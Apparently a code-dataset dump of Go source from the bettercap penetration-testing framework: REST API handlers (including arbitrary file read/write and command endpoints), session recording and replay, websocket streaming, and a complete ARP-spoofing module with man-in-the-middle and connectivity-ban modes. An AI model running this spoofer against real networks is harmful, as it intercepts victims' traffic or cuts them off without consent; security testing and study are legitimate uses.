mod.toJSON(w, mod.Session.Env)
}
func (mod *RestAPI) showGateway(w http.ResponseWriter, r *http.Request) {
mod.toJSON(w, mod.Session.Gateway)
}
func (mod *RestAPI) showInterface(w http.ResponseWriter, r *http.Request) {
mod.toJSON(w, mod.Session.Interface)
}
func (mod *RestAPI) showModules(w http.ResponseWriter, r *http.Request) {
mod.toJSON(w, mod.Session.Modules)
}
func (mod *RestAPI) showLAN(w http.ResponseWriter, r *http.Request) {
params := mux.Vars(r)
mac := strings.ToLower(params["mac"])
if mac == "" {
mod.toJSON(w, mod.Session.Lan)
} else if host, found := mod.Session.Lan.Get(mac); found {
mod.toJSON(w, host)
} else {
http.Error(w, "Not Found", 404)
}
}
func (mod *RestAPI) showOptions(w http.ResponseWriter, r *http.Request) {
mod.toJSON(w, mod.Session.Options)
}
func (mod *RestAPI) showPackets(w http.ResponseWriter, r *http.Request) {
mod.toJSON(w, mod.Session.Queue)
}
func (mod *RestAPI) showStartedAt(w http.ResponseWriter, r *http.Request) {
mod.toJSON(w, mod.Session.StartedAt)
}
func (mod *RestAPI) showWiFi(w http.ResponseWriter, r *http.Request) {
params := mux.Vars(r)
mac := strings.ToLower(params["mac"])
if mac == "" {
mod.toJSON(w, mod.Session.WiFi)
} else if station, found := mod.Session.WiFi.Get(mac); found {
mod.toJSON(w, station)
} else if client, found := mod.Session.WiFi.GetClient(mac); found {
mod.toJSON(w, client)
} else {
http.Error(w, "Not Found", 404)
}
}
func (mod *RestAPI) runSessionCommand(w http.ResponseWriter, r *http.Request) {
var err error
var cmd CommandRequest
if r.Body == nil {
http.Error(w, "Bad Request", 400)
} else if err = json.NewDecoder(r.Body).Decode(&cmd); err != nil {
http.Error(w, "Bad Request", 400)
}
for _, aCommand := range session.ParseCommands(cmd.Command) {
if err = mod.Session.Run(aCommand); err != nil {
http.Error(w, err.Error(), 400)
return
}
}
mod.toJSON(w, APIResponse{Success: true})
}
func (mod *RestAPI) getEvents(limit int) []session.Event {
events := make([]session.Event, 0)
for _, e := range mod.Session.Events.Sorted() {
if mod.Session.EventsIgnoreList.Ignored(e) == false {
events = append(events, e)
}
}
nevents := len(events)
nmax := nevents
n := nmax
if limit > 0 && limit < nmax {
n = limit
}
return events[nevents-n:]
}
func (mod *RestAPI) showEvents(w http.ResponseWriter, r *http.Request) {
q := r.URL.Query()
if mod.replaying {
if !mod.record.Events.Over() {
from := mod.record.Events.Index() - 1
vals := q["from"]
if len(vals) > 0 {
if n, err := strconv.Atoi(vals[0]); err == nil {
from = n
}
}
mod.record.Events.SetFrom(from)
mod.Debug("replaying events %d of %d from %s",
mod.record.Events.Index(),
mod.record.Events.Frames(),
mod.recordFileName)
buf := mod.record.Events.Next()
if _, err := w.Write(buf); err != nil {
mod.Error("%v", err)
} else {
return
}
} else {
mod.stopReplay()
}
}
if mod.useWebsocket {
mod.startStreamingEvents(w, r)
} else {
vals := q["n"]
limit := 0
if len(vals) > 0 {
if n, err := strconv.Atoi(q["n"][0]); err == nil {
limit = n
}
}
mod.toJSON(w, mod.getEvents(limit))
}
}
func (mod *RestAPI) clearEvents(w http.ResponseWriter, r *http.Request) {
mod.Session.Events.Clear()
}
func (mod *RestAPI) corsRoute(w http.ResponseWriter, r *http.Request) {
mod.setSecurityHeaders(w)
w.WriteHeader(http.StatusNoContent)
}
func (mod *RestAPI) sessionRoute(w http.ResponseWriter, r *http.Request) {
mod.setSecurityHeaders(w)
if !mod.checkAuth(r) {
mod.setAuthFailed(w, r)
return
} else if r.Method == "POST" {
mod.runSessionCommand(w, r)
return
} else if r.Method != "GET" {
http.Error(w, "Bad Request", 400)
return
}
mod.Session.Lock()
defer mod.Session.Unlock()
path := r.URL.Path
switch {
case path == "/api/session":
mod.showSession(w, r)
case path == "/api/session/env":
mod.showEnv(w, r)
case path == "/api/session/gateway":
mod.showGateway(w, r)
case path == "/api/session/interface":
mod.showInterface(w, r)
case strings.HasPrefix(path, "/api/session/modules"):
mod.showModules(w, r)
case strings.HasPrefix(path, "/api/session/lan"):
mod.showLAN(w, r)
case path == "/api/session/options":
mod.showOptions(w, r)
case path == "/api/session/packets":
mod.showPackets(w, r)
case path == "/api/session/started-at":
mod.showStartedAt(w, r)
case strings.HasPrefix(path, "/api/session/ble"):
mod.showBLE(w, r)
case strings.HasPrefix(path, "/api/session/hid"):
mod.showHID(w, r)
case strings.HasPrefix(path, "/api/session/wifi"):
mod.showWiFi(w, r)
default:
http.Error(w, "Not Found", 404)
}
}
func (mod *RestAPI) readFile(fileName string, w http.ResponseWriter, r *http.Request) {
fp, err := os.Open(fileName)
if err != nil {
msg := fmt.Sprintf("could not open %s for reading: %s", fileName, err)
mod.Debug(msg)
http.Error(w, msg, 404)
return
}
defer fp.Close()
w.Header().Set("Content-type", "application/octet-stream")
io.Copy(w, fp)
}
func (mod *RestAPI) writeFile(fileName string, w http.ResponseWriter, r *http.Request) {
data, err := ioutil.ReadAll(r.Body)
if err != nil {
msg := fmt.Sprintf("invalid file upload: %s", err)
mod.Warning(msg)
http.Error(w, msg, 404)
return
}
err = ioutil.WriteFile(fileName, data, 0666)
if err != nil {
msg := fmt.Sprintf("can't write to %s: %s", fileName, err)
mod.Warning(msg)
http.Error(w, msg, 404)
return
}
mod.toJSON(w, APIResponse{
Success: true,
Message: fmt.Sprintf("%s created", fileName),
})
}
func (mod *RestAPI) eventsRoute(w http.ResponseWriter, r *http.Request) {
mod.setSecurityHeaders(w)
if !mod.checkAuth(r) {
mod.setAuthFailed(w, r)
return
}
if r.Method == "GET" {
mod.showEvents(w, r)
} else if r.Method == "DELETE" {
mod.clearEvents(w, r)
} else {
http.Error(w, "Bad Request", 400)
}
}
func (mod *RestAPI) fileRoute(w http.ResponseWriter, r *http.Request) {
mod.setSecurityHeaders(w)
if !mod.checkAuth(r) {
mod.setAuthFailed(w, r)
return
}
fileName := r.URL.Query().Get("name")
if fileName != "" && r.Method == "GET" {
mod.readFile(fileName, w, r)
} else if fileName != "" && r.Method == "POST" {
mod.writeFile(fileName, w, r)
} else {
http.Error(w, "Bad Request", 400)
}
} |
Go | bettercap/modules/api_rest/api_rest_record.go | package api_rest
import (
"bytes"
"encoding/json"
"errors"
"fmt"
"time"
"github.com/bettercap/recording"
"github.com/evilsocket/islazy/fs"
)
var (
errNotRecording = errors.New("not recording")
)
func (mod *RestAPI) errAlreadyRecording() error {
return fmt.Errorf("the module is already recording to %s", mod.recordFileName)
}
func (mod *RestAPI) recordState() error {
mod.Session.Lock()
defer mod.Session.Unlock()
session := new(bytes.Buffer)
encoder := json.NewEncoder(session)
if err := encoder.Encode(mod.Session); err != nil {
return err
}
events := new(bytes.Buffer)
encoder = json.NewEncoder(events)
if err := encoder.Encode(mod.getEvents(0)); err != nil {
return err
}
return mod.record.NewState(session.Bytes(), events.Bytes())
}
func (mod *RestAPI) recorder() {
clock := time.Duration(mod.recClock) * time.Second
mod.recTime = 0
mod.recording = true
mod.replaying = false
mod.record = recording.New(mod.recordFileName)
mod.Info("started recording to %s (clock %s) ...", mod.recordFileName, clock)
mod.recordWait.Add(1)
defer mod.recordWait.Done()
tick := time.NewTicker(1 * time.Second)
lastSampled := time.Time{}
for range tick.C {
if !mod.recording {
break
}
mod.recTime++
if time.Since(lastSampled) >= clock {
lastSampled = time.Now()
if err := mod.recordState(); err != nil {
mod.Error("error while recording: %s", err)
mod.recording = false
break
}
}
}
mod.Info("stopped recording to %s ...", mod.recordFileName)
}
func (mod *RestAPI) startRecording(filename string) (err error) {
if mod.recording {
return mod.errAlreadyRecording()
} else if mod.replaying {
return mod.errAlreadyReplaying()
} else if err, mod.recClock = mod.IntParam("api.rest.record.clock"); err != nil {
return err
} else if mod.recordFileName, err = fs.Expand(filename); err != nil {
return err
}
// we need the api itself up and running
if !mod.Running() {
if err = mod.Start(); err != nil {
return err
}
}
go mod.recorder()
return nil
}
func (mod *RestAPI) stopRecording() error {
if !mod.recording {
return errNotRecording
}
mod.recording = false
mod.recordWait.Wait()
err := mod.record.Flush()
mod.recordFileName = ""
mod.record = nil
return err
} |
Go | bettercap/modules/api_rest/api_rest_replay.go | package api_rest
import (
"errors"
"fmt"
"time"
"github.com/bettercap/recording"
"github.com/evilsocket/islazy/fs"
)
var (
errNotReplaying = errors.New("not replaying")
)
func (mod *RestAPI) errAlreadyReplaying() error {
return fmt.Errorf("the module is already replaying a session from %s", mod.recordFileName)
}
func (mod *RestAPI) startReplay(filename string) (err error) {
if mod.replaying {
return mod.errAlreadyReplaying()
} else if mod.recording {
return mod.errAlreadyRecording()
} else if mod.recordFileName, err = fs.Expand(filename); err != nil {
return err
}
mod.State.Store("load_progress", 0)
defer func() {
mod.State.Store("load_progress", 100.0)
}()
mod.loading = true
defer func() {
mod.loading = false
}()
mod.Info("loading %s ...", mod.recordFileName)
start := time.Now()
mod.record, err = recording.Load(mod.recordFileName, func(progress float64, done int, total int) {
mod.State.Store("load_progress", progress)
})
if err != nil {
return err
}
loadedIn := time.Since(start)
// we need the api itself up and running
if !mod.Running() {
if err := mod.Start(); err != nil {
return err
}
}
mod.recStarted = mod.record.Session.StartedAt()
mod.recStopped = mod.record.Session.StoppedAt()
duration := mod.recStopped.Sub(mod.recStarted)
mod.recTime = int(duration.Seconds())
mod.replaying = true
mod.recording = false
mod.Info("loaded %s of recording (%d frames) started at %s in %s, started replaying ...",
duration,
mod.record.Session.Frames(),
mod.recStarted,
loadedIn)
return nil
}
func (mod *RestAPI) stopReplay() error {
if !mod.replaying {
return errNotReplaying
}
mod.replaying = false
mod.Info("stopped replaying from %s ...", mod.recordFileName)
mod.recordFileName = ""
return nil
} |
Go | bettercap/modules/api_rest/api_rest_ws.go | package api_rest
import (
"encoding/json"
"net/http"
"strings"
"time"
"github.com/bettercap/bettercap/session"
"github.com/gorilla/websocket"
)
const (
// Time allowed to write an event to the client.
writeWait = 10 * time.Second
// Time allowed to read the next pong message from the client.
pongWait = 60 * time.Second
// Send pings to client with this period. Must be less than pongWait.
pingPeriod = (pongWait * 9) / 10
)
func (mod *RestAPI) streamEvent(ws *websocket.Conn, event session.Event) error {
msg, err := json.Marshal(event)
if err != nil {
mod.Error("Error while creating websocket message: %s", err)
return err
}
ws.SetWriteDeadline(time.Now().Add(writeWait))
if err := ws.WriteMessage(websocket.TextMessage, msg); err != nil {
if !strings.Contains(err.Error(), "closed connection") {
mod.Error("Error while writing websocket message: %s", err)
return err
}
}
return nil
}
func (mod *RestAPI) sendPing(ws *websocket.Conn) error {
ws.SetWriteDeadline(time.Now().Add(writeWait))
ws.SetReadDeadline(time.Now().Add(pongWait))
if err := ws.WriteMessage(websocket.PingMessage, []byte{}); err != nil {
mod.Error("Error while writing websocket ping message: %s", err)
return err
}
return nil
}
func (mod *RestAPI) streamWriter(ws *websocket.Conn, w http.ResponseWriter, r *http.Request) {
defer ws.Close()
// first we stream what we already have
events := session.I.Events.Sorted()
n := len(events)
if n > 0 {
mod.Debug("Sending %d events.", n)
for _, event := range events {
if err := mod.streamEvent(ws, event); err != nil {
return
}
}
}
session.I.Events.Clear()
mod.Debug("Listening for events and streaming to ws endpoint ...")
pingTicker := time.NewTicker(pingPeriod)
listener := session.I.Events.Listen()
defer session.I.Events.Unlisten(listener)
for {
select {
case <-pingTicker.C:
if err := mod.sendPing(ws); err != nil {
return
}
case event := <-listener:
if err := mod.streamEvent(ws, event); err != nil {
return
}
case <-mod.quit:
mod.Info("Stopping websocket events streamer ...")
return
}
}
}
func (mod *RestAPI) streamReader(ws *websocket.Conn) {
defer ws.Close()
ws.SetReadLimit(512)
ws.SetReadDeadline(time.Now().Add(pongWait))
ws.SetPongHandler(func(string) error { ws.SetReadDeadline(time.Now().Add(pongWait)); return nil })
for {
_, _, err := ws.ReadMessage()
if err != nil {
mod.Warning("error reading message from websocket: %v", err)
break
}
}
}
func (mod *RestAPI) startStreamingEvents(w http.ResponseWriter, r *http.Request) {
ws, err := mod.upgrader.Upgrade(w, r, nil)
if err != nil {
if _, ok := err.(websocket.HandshakeError); !ok {
mod.Error("error while updating api.rest connection to websocket: %s", err)
}
return
}
mod.Debug("websocket streaming started for %s", r.RemoteAddr)
go mod.streamWriter(ws, w, r)
mod.streamReader(ws)
} |
Go | bettercap/modules/arp_spoof/arp_spoof.go | package arp_spoof
import (
"bytes"
"net"
"strings"
"sync"
"time"
"github.com/bettercap/bettercap/network"
"github.com/bettercap/bettercap/packets"
"github.com/bettercap/bettercap/session"
"github.com/malfunkt/iprange"
)
type ArpSpoofer struct {
session.SessionModule
addresses []net.IP
macs []net.HardwareAddr
wAddresses []net.IP
wMacs []net.HardwareAddr
fullDuplex bool
internal bool
ban bool
skipRestore bool
waitGroup *sync.WaitGroup
}
func NewArpSpoofer(s *session.Session) *ArpSpoofer {
mod := &ArpSpoofer{
SessionModule: session.NewSessionModule("arp.spoof", s),
addresses: make([]net.IP, 0),
macs: make([]net.HardwareAddr, 0),
wAddresses: make([]net.IP, 0),
wMacs: make([]net.HardwareAddr, 0),
ban: false,
internal: false,
fullDuplex: false,
skipRestore: false,
waitGroup: &sync.WaitGroup{},
}
mod.SessionModule.Requires("net.recon")
mod.AddParam(session.NewStringParameter("arp.spoof.targets", session.ParamSubnet, "", "Comma separated list of IP addresses, MAC addresses or aliases to spoof, also supports nmap style IP ranges."))
mod.AddParam(session.NewStringParameter("arp.spoof.whitelist", "", "", "Comma separated list of IP addresses, MAC addresses or aliases to skip while spoofing."))
mod.AddParam(session.NewBoolParameter("arp.spoof.internal",
"false",
"If true, local connections among computers of the network will be spoofed, otherwise only connections going to and coming from the external network."))
mod.AddParam(session.NewBoolParameter("arp.spoof.fullduplex",
"false",
"If true, both the targets and the gateway will be attacked, otherwise only the target (if the router has ARP spoofing protections in place this will make the attack fail)."))
noRestore := session.NewBoolParameter("arp.spoof.skip_restore",
"false",
"If set to true, targets arp cache won't be restored when spoofing is stopped.")
mod.AddObservableParam(noRestore, func(v string) {
if strings.ToLower(v) == "true" || v == "1" {
mod.skipRestore = true
mod.Warning("arp cache restoration after spoofing disabled")
} else {
mod.skipRestore = false
mod.Debug("arp cache restoration after spoofing enabled")
}
})
mod.AddHandler(session.NewModuleHandler("arp.spoof on", "",
"Start ARP spoofer.",
func(args []string) error {
return mod.Start()
}))
mod.AddHandler(session.NewModuleHandler("arp.ban on", "",
"Start ARP spoofer in ban mode, meaning the target(s) connectivity will not work.",
func(args []string) error {
mod.ban = true
return mod.Start()
}))
mod.AddHandler(session.NewModuleHandler("arp.spoof off", "",
"Stop ARP spoofer.",
func(args []string) error {
return mod.Stop()
}))
mod.AddHandler(session.NewModuleHandler("arp.ban off", "",
"Stop ARP spoofer.",
func(args []string) error {
return mod.Stop()
}))
return mod
}
func (mod ArpSpoofer) Name() string {
return "arp.spoof"
}
func (mod ArpSpoofer) Description() string {
return "Keep spoofing selected hosts on the network."
}
func (mod ArpSpoofer) Author() string {
return "Simone Margaritelli <[email protected]>"
}
func (mod *ArpSpoofer) Configure() error {
var err error
var targets string
var whitelist string
if err, mod.fullDuplex = mod.BoolParam("arp.spoof.fullduplex"); err != nil {
return err
} else if err, mod.internal = mod.BoolParam("arp.spoof.internal"); err != nil {
return err
} else if err, targets = mod.StringParam("arp.spoof.targets"); err != nil {
return err
} else if err, whitelist = mod.StringParam("arp.spoof.whitelist"); err != nil {
return err
} else if mod.addresses, mod.macs, err = network.ParseTargets(targets, mod.Session.Lan.Aliases()); err != nil {
return err
} else if mod.wAddresses, mod.wMacs, err = network.ParseTargets(whitelist, mod.Session.Lan.Aliases()); err != nil {
return err
}
mod.Debug(" addresses=%v macs=%v whitelisted-addresses=%v whitelisted-macs=%v", mod.addresses, mod.macs, mod.wAddresses, mod.wMacs)
if mod.ban {
mod.Warning("running in ban mode, forwarding not enabled!")
mod.Session.Firewall.EnableForwarding(false)
} else if !mod.Session.Firewall.IsForwardingEnabled() {
mod.Info("enabling forwarding")
mod.Session.Firewall.EnableForwarding(true)
}
return nil
}
func (mod *ArpSpoofer) Start() error {
if err := mod.Configure(); err != nil {
return err
}
nTargets := len(mod.addresses) + len(mod.macs)
if nTargets == 0 {
mod.Warning("list of targets is empty, module not starting.")
return nil
}
return mod.SetRunning(true, func() {
neighbours := []net.IP{}
if mod.internal {
list, _ := iprange.ParseList(mod.Session.Interface.CIDR())
neighbours = list.Expand()
nNeigh := len(neighbours) - 2
mod.Warning("arp spoofer started targeting %d possible network neighbours of %d targets.", nNeigh, nTargets)
} else {
mod.Info("arp spoofer started, probing %d targets.", nTargets)
}
if mod.fullDuplex {
mod.Warning("full duplex spoofing enabled, if the router has ARP spoofing mechanisms, the attack will fail.")
}
mod.waitGroup.Add(1)
defer mod.waitGroup.Done()
gwIP := mod.Session.Gateway.IP
myMAC := mod.Session.Interface.HW
for mod.Running() {
mod.arpSpoofTargets(gwIP, myMAC, true, false)
for _, address := range neighbours {
if !mod.Session.Skip(address) {
mod.arpSpoofTargets(address, myMAC, true, false)
}
}
time.Sleep(1 * time.Second)
}
})
}
func (mod *ArpSpoofer) unSpoof() error {
if !mod.skipRestore {
nTargets := len(mod.addresses) + len(mod.macs)
mod.Info("restoring ARP cache of %d targets.", nTargets)
mod.arpSpoofTargets(mod.Session.Gateway.IP, mod.Session.Gateway.HW, false, false)
if mod.internal {
list, _ := iprange.ParseList(mod.Session.Interface.CIDR())
neighbours := list.Expand()
for _, address := range neighbours {
if !mod.Session.Skip(address) {
if realMAC, err := mod.Session.FindMAC(address, false); err == nil {
mod.arpSpoofTargets(address, realMAC, false, false)
}
}
}
}
} else {
mod.Warning("arp cache restoration is disabled")
}
return nil
}
func (mod *ArpSpoofer) Stop() error {
return mod.SetRunning(false, func() {
mod.Info("waiting for ARP spoofer to stop ...")
mod.unSpoof()
mod.ban = false
mod.waitGroup.Wait()
})
}
func (mod *ArpSpoofer) isWhitelisted(ip string, mac net.HardwareAddr) bool {
for _, addr := range mod.wAddresses {
if ip == addr.String() {
return true
}
}
for _, hw := range mod.wMacs {
if bytes.Equal(hw, mac) {
return true
}
}
return false
}
func (mod *ArpSpoofer) getTargets(probe bool) map[string]net.HardwareAddr {
targets := make(map[string]net.HardwareAddr)
// add targets specified by IP address
for _, ip := range mod.addresses {
if mod.Session.Skip(ip) {
continue
}
// do we have this ip mac address?
if hw, err := mod.Session.FindMAC(ip, probe); err == nil {
targets[ip.String()] = hw
}
}
// add targets specified by MAC address
for _, hw := range mod.macs {
if ip, err := network.ArpInverseLookup(mod.Session.Interface.Name(), hw.String(), false); err == nil {
if mod.Session.Skip(net.ParseIP(ip)) {
continue
}
targets[ip] = hw
}
}
return targets
}
func (mod *ArpSpoofer) arpSpoofTargets(saddr net.IP, smac net.HardwareAddr, check_running bool, probe bool) {
mod.waitGroup.Add(1)
defer mod.waitGroup.Done()
gwIP := mod.Session.Gateway.IP
gwHW := mod.Session.Gateway.HW
ourHW := mod.Session.Interface.HW
isGW := false
isSpoofing := false
// are we spoofing the gateway IP?
if net.IP.Equal(saddr, gwIP) {
isGW = true
// are we restoring the original MAC of the gateway?
if !bytes.Equal(smac, gwHW) {
isSpoofing = true
}
}
if targets := mod.getTargets(probe); len(targets) == 0 {
mod.Warning("could not find spoof targets")
} else {
for ip, mac := range targets {
if check_running && !mod.Running() {
return
} else if mod.isWhitelisted(ip, mac) {
mod.Debug("%s (%s) is whitelisted, skipping from spoofing loop.", ip, mac)
continue
} else if saddr.String() == ip {
continue
}
rawIP := net.ParseIP(ip)
if err, pkt := packets.NewARPReply(saddr, smac, rawIP, mac); err != nil {
mod.Error("error while creating ARP spoof packet for %s: %s", ip, err)
} else {
mod.Debug("sending %d bytes of ARP packet to %s:%s.", len(pkt), ip, mac.String())
mod.Session.Queue.Send(pkt)
}
if mod.fullDuplex && isGW {
err := error(nil)
gwPacket := []byte(nil)
if isSpoofing {
mod.Debug("telling the gw we are %s", ip)
// we told the target we're te gateway, not let's tell the
// gateway that we are the target
if err, gwPacket = packets.NewARPReply(rawIP, ourHW, gwIP, gwHW); err != nil {
mod.Error("error while creating ARP spoof packet: %s", err)
}
} else {
mod.Debug("telling the gw %s is %s", ip, mac)
// send the gateway the original MAC of the target
if err, gwPacket = packets.NewARPReply(rawIP, mac, gwIP, gwHW); err != nil {
mod.Error("error while creating ARP spoof packet: %s", err)
}
}
if gwPacket != nil {
mod.Debug("sending %d bytes of ARP packet to the gateway", len(gwPacket))
if err = mod.Session.Queue.Send(gwPacket); err != nil {
mod.Error("error while sending packet: %v", err)
}
}
}
}
}
} |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.